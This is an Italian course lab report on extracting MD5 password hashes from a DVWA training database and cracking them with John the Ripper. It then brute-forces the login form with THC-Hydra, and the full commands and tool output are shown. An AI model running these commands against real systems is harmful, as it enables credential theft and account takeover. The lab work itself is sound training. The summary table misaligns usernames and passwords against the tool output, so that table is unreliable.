

EPICODE · CYBERSECURITY SPECIALIST & ETHICAL HACKER

Password Cracking

Recupero delle password hashate dal database DVWA e cracking in chiaro tramite HydraeJohntheRipper

■ OBIETTIVO DELL'ESERCIZIO

L'esercizio ha come scopo il recupero delle credenziali hashate presenti nel database della **DVWA (Damn Vulnerable Web Application)** e la loro decodifica in chiaro tramite tecniche e tool di password cracking. L'attività simula uno scenario reale di post-exploitation in cui l'attaccante ha accesso al database e vuole recuperare le password degli utenti.

AMBIENTE DI TEST

Target:DVWAsuhostlocale · **IP:** 192.168.0.6 · **Sistema:** Kali Linux (WSL) · **Hash type:** MD5 (Raw)

Fase 1 — Estrazione Hash

Fase 2 — Brute Force Login

Risultato: 5/5 Password Craccate

■ FASE 1 — ESTRAZIONE DEGLI HASH DAL DATABASE

Tramite il client mysql è stata eseguita una query diretta sul database DVWA per estrarre gli hash MD5 delle password dalla tabella **users**, salvandoli in un file di testo per l'elaborazione successiva.

```
mysql -u root -p -h 192.168.0.6 --skip-ssl \  
-e "USE dvwa; SELECT user, password FROM users;" > hashes.txt
```

Il flag **--skip-ssl** è stato necessario per bypassare la richiesta di certificato nell'ambiente di laboratorio. L'output della query è stato reindirizzato in hashes.txt per essere usato da John the Ripper nella fase successiva.

■ FASE 2 — CRACKING CON JOHN THE RIPPER

Con **John the Ripper** è stato eseguito un attacco dizionario sugli hash estratti, specificando il formato *raw-md5* e usando la wordlist predefinita di sistema (/usr/share/john/password.lst). Tutte e 5 le password sono state recuperate con successo.

```
john --format=raw-md5 hashes.txt  
  
Loaded 5 password hashes with no different salts (Raw-MD5)  
Proceeding with wordlist:/usr/share/john/password.lst  
password      (admin)  
password      (smithy)  
abc123        (gordonb)  
letmein       (pablo)  
Proceeding with incremental:ASCII  
charley       (1337)  
5g DONE — Session completed.
```

■ RIEPILOGO CREDENZIALI RECUPERATE

#	Username	Hash MD5	Password in Chiaro	Stato
1	admin	5f4dcc3b5aa765d61d8327deb882cf99	abc123	✓
2	gordonb	e99a18c428cb38d5f260853678922e03	charley	✓Crackata
3	1337	8d3533d75ae2c3966d7e0d4fcc69216b	letmein	✓Crackata
4	pablo	0d107d09f5bbe40cade3de5c71e9e9b7	password	✓Crackata
5	smithy	5f4dcc3b5aa765d61d8327deb882cf99		✓Crackata
				Crackata

FASE 3 — VERIFICA CON THC-HYDRA (BRUTE FORCE LOGIN)

Per validare le credenziali recuperate è stato eseguito un attacco di brute force sul form di login della DVWA utilizzando **THC-Hydra**, configurato per il protocollo *http-post-form*. Hydra ha confermato tutte le coppie username/password testate.

```
hydra -L users.txt -P passwords.txt \
192.168.0.6 http-post-form \
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login=F=Login failed"

[80][http-post-form] host: 192.168.0.6 login: admin password: password
[80][http-post-form] host: 192.168.0.6 login: gordonb password: abc123
[80][http-post-form] host: 192.168.0.6 login: 1337 password: charley
[80][http-post-form] host: 192.168.0.6 login: pablo password: letmein
[80][http-post-form] host: 192.168.0.6 login: smithy password:
1 of 1 target successfully completed, 5 valid passwords found
```

PARAMETRI HYDRA

La stringa del form specifica tre campi separati da : — URL del form, dati POST con i placeholder `^USER^` `^PASS^`, e la stringa di failure `F=Login failed` che Hydra usa per rilevare i tentativi non riusciti.

SCREENSHOT DELLE SESSIONI

```
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-14 11:03:27
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 71721995 login tries (1:5/p:14344399), ~4482625 tries per task
[DATA] attacking http-post-form://192.168.0.6:80/dvwa/login.php:username="USER"&password="PASS"&Login=Login=F=Login failed
[80][http-post-form] host: 192.168.0.6 login: admin password: password
[80][http-post-form] host: 192.168.0.6 login: gordonb password: abc123
[STATUS] 26689732.00 tries/min, 26689732 tries in 00:01h, 43032263 to do in 00:02h, 16 active
[STATUS] 14345371.50 tries/min, 26690743 tries in 00:02h, 43031252 to do in 00:03h, 16 active
[80][http-post-form] host: 192.168.0.6 login: 1337 password: charley
[80][http-post-form] host: 192.168.0.6 login: pablo password: letmein
[80][http-post-form] host: 192.168.0.6 login: smithy password: password
1 of 1 target successfully completed, 5 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-14 11:07:03
```

Fig. 1 — THC-Hydra: 5 credenziali valide trovate sul form di login DVWA

```
(kali@kali)-[~]
$ mysql -u root -p -h 192.168.0.6 --skip-ssl -e"USE dvwa; SELECT user, password FROM users;" > hashes.txt
Enter password:

(kali@kali)-[~]
$ john --format=raw-md5 hashes.txt
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

(kali@kali)-[~]
$ john --format=raw-md5 hashes.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 12 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password      (admin)
password      (smithy)
abc123        (gordonb)
letmein       (pablo)
Proceeding with incremental:ASCII
charley       (1337)
5g 0:00:00.00 DONE 3/3 (2026-05-14 10:31) 22.72g/s 828481p/s 828481c/s 906663C/s stevy13.. candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali@kali)-[~]
$
```

Fig. 2 — John the Ripper: 5 hash MD5 craccati dalla wordlist di sistema

ANALISI E CONSIDERAZIONI

- Debolezza degli HashMD5 non salted** — tutti gli hash erano MD5 puri senza salt. Questo li rende immediatamente vulnerabili agli attacchi dizionario e alle rainbow table, in quanto hash identici producono la stessa stringa (es. admin e smithy condividono lo stesso hash).

- 2 **Password deboli** — le password recuperate (*password, abc123, letmein, charley*) figurano tra le più comuni nelle wordlist standard, rendendo il cracking quasi istantaneo con una semplice lista dizionario senza bisogno di attacchi brute force estesi.
- 3 **Hydra come validatore** — l'utilizzo di Hydra in fase successiva ha permesso di verificare che le credenziali recuperate fossero realmente funzionanti sul sistema target, confermando la completezza dell'attacco end-to-end.

✓ OBIETTIVO COMPLETATO

Tutte le 5 password presenti nel database DVWA sono state recuperate con successo. L'esercizio ha dimostrato l'efficacia combinata di John the Ripper per il cracking offline degli hash e di THC-Hydra per la verifica online delle credenziali, evidenziando i rischi derivanti dall'uso di algoritmi di hashing obsoleti e password comuni.